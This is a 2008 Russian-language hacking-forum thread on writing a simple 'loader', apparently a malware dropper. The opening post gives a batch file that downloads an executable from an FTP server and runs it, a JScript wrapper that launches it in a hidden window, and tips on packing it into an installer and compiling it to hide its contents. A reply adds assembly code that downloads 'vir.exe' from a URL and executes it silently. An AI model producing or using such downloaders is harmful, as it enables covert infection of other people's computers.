Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Пишем простенький .bat лоадер |

12.01.2008, 19:22
|
|
Banned
Регистрация: 05.01.2008
Сообщений: 49
Провел на форуме: 368185
Репутация:
59
|
|
Пишем простенький .bat лоадер
Пишем простенький .bat лоадер
Вот решил написать небольшой .BAT лоадер
Незнал куда запостить, поэтому написал здесь....
Итак, наш лоадер будет состоять из двух файлов.
1) Непосредственно сам лоадер.
2) Ява скрипт каторый будет запускать сам лоадер в скрытом режиме.
----Часть №1 (Лоадер)----
Определим некоторые переменные:
login - логин от фтп
password - пароль от фтп
ftp.server.com - IP адрес или домен вашего фтп
file.exe - файл каторый мы загружаем с фтп
Определившись с переменными создадим файл с названием load.bat и занесем в него команды, каторые приведены ниже:
echo off
echo open ftp.server.com>go.txt&&echo login>>go.txt&&echo password>>go.txt&&echo get file.exe>>go.txt&&echo bye>>go.txt
ftp -s:go.txt
file.exe
del go.txt
----Часть №2 (Скрытие)----
Теперь создаем скрипт с розширением .js и заносим в него некий код:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("load.bat",0);
----Часть №3 (Упаковка)----
Теперь бирем любой любой билдер инсталяционных пакетов (расписовать не буду так как их в сети очень много) и упаковываем наши файлы назначив главным файлом наш java скрипт....
Также можно использовать всевозможные компиляторы .bat
Последний раз редактировалось keeberg; 12.01.2008 в 19:24..
|
|
|

12.01.2008, 19:26
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
А зачем компилировать bat?
|
|
|

12.01.2008, 19:27
|
|
Banned
Регистрация: 05.01.2008
Сообщений: 49
Провел на форуме: 368185
Репутация:
59
|
|
А зачем компилировать bat?
чтоб его невозможно было открыть блакнотом....
|
|
|

12.01.2008, 19:32
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Теперь создаем скрипт с розширением .js и заносим в него некий код: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Run("load.bat",0);
Если я не ошибаюсь, этот код сработает только через vbs-файл...
|
|
|

12.01.2008, 19:36
|
|
Banned
Регистрация: 05.01.2008
Сообщений: 49
Провел на форуме: 368185
Репутация:
59
|
|
Цитата:
Теперь создаем скрипт с розширением .js и заносим в него некий код: var WSHShell = WScript.CreateObject("WScript.Shell"); WSHShell.Run("load.bat",0);
Если я не ошибаюсь, этот код сработает только через vbs-файл...
Если не вериш проверь с js, если не доверяеш)))) Я думаю это большого труда не составит.....
|
|
|

13.01.2008, 05:37
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Очень очень боян года этак 98.
|
|
|

13.01.2008, 06:12
|
|
Участник форума
Регистрация: 28.10.2007
Сообщений: 143
Провел на форуме: 913233
Репутация:
162
|
|
на асме мона написать лучше)))
Код:
.386
.model flat, stdcall
option casemap :none
include \MASM32\INCLUDE\windows.inc
include \masm32\include\urlmon.inc
include \MASM32\INCLUDE\kernel32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \masm32\lib\urlmon.lib
.const
.data
url db "http://mysite.com/vir.exe",0
file db "C:/tmp.exe",0
.data?
.code
start:
invoke URLDownloadToFileA,0, addr url,addr file ,0,0
invoke WinExec,addr file,0
invoke ExitProcess,0
end start
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|